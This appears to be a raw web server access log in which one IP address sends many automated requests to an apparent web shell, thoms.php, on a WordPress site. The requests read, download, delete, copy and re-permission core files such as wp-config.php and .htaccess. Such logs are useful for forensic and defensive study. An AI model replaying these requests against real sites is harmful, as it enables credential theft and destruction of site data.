45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?chmod=wp-login.php&p=broadweb.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?del=wp-signup.php&p=broadweb.com.tw HTTP/1.1" 200 17382 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 200 12041 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p= HTTP/1.1" 200 12056 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config.php&p=broadweb.com.tw HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:19 -0400] "GET /thoms.php?chmod=wp-settings.php&p=broadweb.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-trackback.php HTTP/1.1" 200 14088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 12057 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p= HTTP/1.1" 200 12041 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12022 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?del=wp-config-sample.php&p=broadweb.com.tw HTTP/1.1" 200 17370 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?del=wp-links-opml.php&p=broadweb.com.tw HTTP/1.1" 200 17370 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?dl=wp-load.php&p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?del=xmlrpc.php&p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13028 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?del=wp-cron.php&p=broadweb.com.tw HTTP/1.1" 200 17380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?p=broadweb.com.tw&view=license.txt HTTP/1.1" 200 20072 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?del=.well-known&p=broadweb.com.tw HTTP/1.1" 200 17381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?del=license.txt&p=broadweb.com.tw HTTP/1.1" 200 17350 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?dl=license.txt&p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-activate.php HTTP/1.1" 200 14813 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?dl=wp-settings.php&p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=broadweb.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-settings.php HTTP/1.1" 200 19463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?p=broadweb.com.tw&view=xmlrpc.php HTTP/1.1" 200 13362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=broadweb.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=broadweb.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fupgrade&p= HTTP/1.1" 200 12051 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?del=wp-config.php&p=broadweb.com.tw HTTP/1.1" 200 17378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?dl=.htaccess&p=broadweb.com.tw HTTP/1.1" 200 17381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?dl=index.php&p=broadweb.com.tw HTTP/1.1" 200 17371 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?del=thoms.php&p=broadweb.com.tw HTTP/1.1" 200 17378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 200 28894 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=broadweb.com.tw HTTP/1.1" 200 11497 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=broadweb.com.tw HTTP/1.1" 200 17380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:20 -0400] "GET /thoms.php?del=wp-settings.php&p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p= HTTP/1.1" 200 12041 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?del=worker-profile&p=broadweb.com.tw HTTP/1.1" 200 17380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13091 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 200 13276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?p=broadweb.com.tw&view=mah.php HTTP/1.1" 200 11803 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?del=bridge-sample&p=broadweb.com.tw HTTP/1.1" 200 17380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?del=wp-comments-post.php&p=broadweb.com.tw HTTP/1.1" 200 17380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-mail.php HTTP/1.1" 200 15343 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?chmod=.well-known&p=broadweb.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?chmod=cgi-bin&p=broadweb.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?del=.htaccess&p=broadweb.com.tw HTTP/1.1" 200 17380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-login.php HTTP/1.1" 200 29024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?dl=wp-activate.php&p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?chmod=.htaccess&p=broadweb.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?del=mah.php&p=broadweb.com.tw HTTP/1.1" 200 17371 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?del=wp-mail.php&p=broadweb.com.tw HTTP/1.1" 200 17378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?p=broadweb.com.tw&upload= HTTP/1.1" 200 12152 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?p=broadweb.com.tw%2F.well-known HTTP/1.1" 200 12580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?chmod=index.php&p=broadweb.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?chmod=license.txt&p=broadweb.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?p=broadweb.com.tw&settings=1 HTTP/1.1" 200 11882 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p= HTTP/1.1" 200 12051 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?del=wp-admin&p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-cron.php HTTP/1.1" 200 14172 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?dl=readme.html&p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?chmod=wp-load.php&p=broadweb.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fupgrade HTTP/1.1" 200 13778 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?del=wp-login.php&p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 200 13404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?chmod=wp-cron.php&p=broadweb.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?del=error_log&p=broadweb.com.tw HTTP/1.1" 200 17381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content HTTP/1.1" 200 13859 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?chmod=wp-includes&p=broadweb.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13300 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:21 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 200 59230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?dl=wp-login.php&p=broadweb.com.tw HTTP/1.1" 200 17371 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?dl=wp-signup.php&p=broadweb.com.tw HTTP/1.1" 200 17381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?del=upgrade&p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?chmod=upgrade&p=broadweb.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?chmod=wp-content&p=broadweb.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?del=readme.html&p=broadweb.com.tw HTTP/1.1" 200 17371 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?p=broadweb.com.tw&view=thoms.php HTTP/1.1" 200 11815 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?del=wp-blog-header.php&p=broadweb.com.tw HTTP/1.1" 200 17372 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=broadweb.com.tw HTTP/1.1" 200 17381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?del=index.php&p=broadweb.com.tw HTTP/1.1" 200 17381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:22 -0400] "GET /thoms.php?dl=locoy.php&p=broadweb.com.tw HTTP/1.1" 200 17368 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
